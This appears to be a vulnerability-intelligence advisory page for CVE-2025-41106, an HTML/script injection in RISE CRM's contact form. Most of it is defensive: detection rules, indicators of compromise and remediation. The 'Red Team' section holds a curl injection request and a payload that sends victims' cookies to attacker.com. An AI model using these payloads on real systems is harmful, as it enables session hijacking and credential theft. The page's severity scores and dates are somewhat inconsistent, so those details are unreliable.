☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-41106

CVE-2025-41106 Code Injection in Fairsketch
📅 PUBLISHED: 2025-11-11 12:21 UTC 🔄 UPDATED: 2026-09-23 20:33 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.17%
👁️
0.17% probability
4.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-41106 identifies an HTML injection vulnerability in Fairsketch's RISE CRM Framework version 3.8.1. The flaw resides in the /clients/save_contact/ endpoint, where the first_name parameter is not properly sanitized before being processed. An attacker can send a crafted POST request containing malicious HTML code, which will be rendered in the context of the application. This can lead to phishing attacks, session hijacking, or defacement. The vulnerability is classified as an HTML injection (CWE-79), and while no CVSS vector is officially assigned, the impact is considered medium to high due to the potential for client-side attacks. No official patch has been released at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a direct web application vulnerability in the RISE CRM PHP application.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, a reasonable assessment based on the vulnerability characteristics is:

  • Attack Vector (AV): Network (N) – The attack is performed over the network.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): None (N) – The attacker does not need authentication.
  • User Interaction (UI): Required (R) – The victim must interact with the malicious content (e.g., click a link).
  • Scope (S): Changed (C) – The injection impacts the client-side context.
  • Confidentiality (C): Low (L) – Limited data exposure possible.
  • Integrity (I): Low (L) – Content can be modified.
  • Availability (A): None (N) – No impact on availability.

Estimated CVSS Score: 6.1 (Medium)

Threat Level: Medium. The vulnerability requires user interaction but can be exploited without authentication, making it a viable vector for phishing campaigns.

Deep Dive & Mechanics

The vulnerability is a classic HTML injection flaw. The RISE CRM application fails to properly validate or sanitize the first_name parameter in the POST request to /clients/save_contact/. When the application processes this input, it is reflected back to the user or stored and later displayed without proper encoding. An attacker can inject arbitrary HTML tags, such as <script>, <img>, or <iframe>, to execute malicious actions.

Attack Flow:

  1. The attacker identifies the vulnerable endpoint: POST /clients/save_contact/.
  2. The attacker crafts a POST request with a malicious payload in the first_name parameter, e.g., <script>alert('XSS')</script>.
  3. The server stores or reflects this input without sanitization.
  4. When a victim views the affected page (e.g., client contact list), the injected HTML is rendered, potentially executing JavaScript in the victim's browser.

Impact:

  • Phishing: Inject fake login forms to steal credentials.
  • Session Hijacking: Steal session cookies via document.cookie.
  • Defacement: Alter the appearance of the CRM interface.
  • Malware Distribution: Redirect users to malicious sites.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Directly outputs user input without sanitization
$first_name = $_POST['first_name'];
echo "<span>$first_name</span>";

Patched Code (Conceptual):

// Patched: Uses htmlspecialchars to escape HTML entities
$first_name = htmlspecialchars($_POST['first_name'], ENT_QUOTES, 'UTF-8');
echo "<span>$first_name</span>";

The patched version ensures that any HTML tags in the input are converted to their entity equivalents (e.g., < becomes &lt;), preventing them from being interpreted as code.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A target running RISE CRM v3.8.1.
  • Access to the /clients/save_contact/ endpoint (may require a valid session or be publicly accessible).

Exploit Steps:

  1. Craft the Payload: Use a simple HTML injection to test.
    <script>alert('XSS')</script>
    
  2. Send the POST Request: Use curl or a tool like Burp Suite.
    curl -X POST http://target.com/clients/save_contact/ \
      -d "first_name=<script>alert('XSS')</script>&last_name=test&email=test@test.com"
    
  3. Verify: Access the client contact list or the page where the name is displayed. An alert box should appear.

Advanced Payload (Session Hijacking):

<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

Blue Team (Defensive)

Detection:

  • Monitor POST requests to /clients/save_contact/ for suspicious patterns in the first_name parameter.
  • Look for HTML tags or JavaScript keywords in the parameter value.

Prevention:

  • Implement input validation: Allow only alphanumeric characters and spaces in the first_name field.
  • Use output encoding: Apply htmlspecialchars() or equivalent before rendering user input.
  • Deploy a Web Application Firewall (WAF) to block common XSS patterns.

Honeypot:

  • Create a decoy endpoint that mimics the vulnerable behavior to lure attackers and log their payloads.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • POST requests to /clients/save_contact/ with first_name containing <script>, <img>, <iframe>, or other HTML tags.
    • Outbound connections to attacker-controlled domains from the CRM server.
  • File IOCs:
    • Log entries showing unsanitized HTML in the first_name field.
  • Behavioral IOCs:
    • Unexpected pop-up alerts or redirects in the CRM interface.
    • Unauthorized changes to client contact data.

Detection Engineering

YARA Rule

rule CVE_2025_41106_HTML_Injection {
    meta:
        description = "Detects HTML injection attempts in POST requests to RISE CRM"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-41106"
    strings:
        $html_tag = /<[a-z][\s\S]*>/i
        $script_tag = /<script[\s\S]*?>[\s\S]*?<\/script>/i
        $event_handler = /on\w+\s*=/i
    condition:
        $html_tag or $script_tag or $event_handler
}

Sigma Rule

title: CVE-2025-41106 HTML Injection in RISE CRM
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTML injection attempts in the first_name parameter of RISE CRM
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/clients/save_contact/'
        cs-uri-query|contains: 'first_name='
    keywords:
        - '<script'
        - '<img'
        - '<iframe'
        - 'onerror='
        - 'onload='
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-41106 HTML Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/clients/save_contact/"; http_uri; content:"first_name="; http_client_body; pcre:"/<[a-z][\s\S]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Apply Input Validation: Restrict the first_name field to alphanumeric characters and spaces only.
  2. Implement Output Encoding: Use htmlspecialchars() or equivalent for all user-supplied data before rendering.
  3. Deploy WAF Rules: Block requests containing HTML tags in the first_name parameter.

Long-Term Fixes:

  • Upgrade to a patched version of RISE CRM once available.
  • Conduct a full security audit of all user input handling.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Workarounds:

  • If patching is not possible, disable the /clients/save_contact/ endpoint or restrict access to authenticated users only.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-41106/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.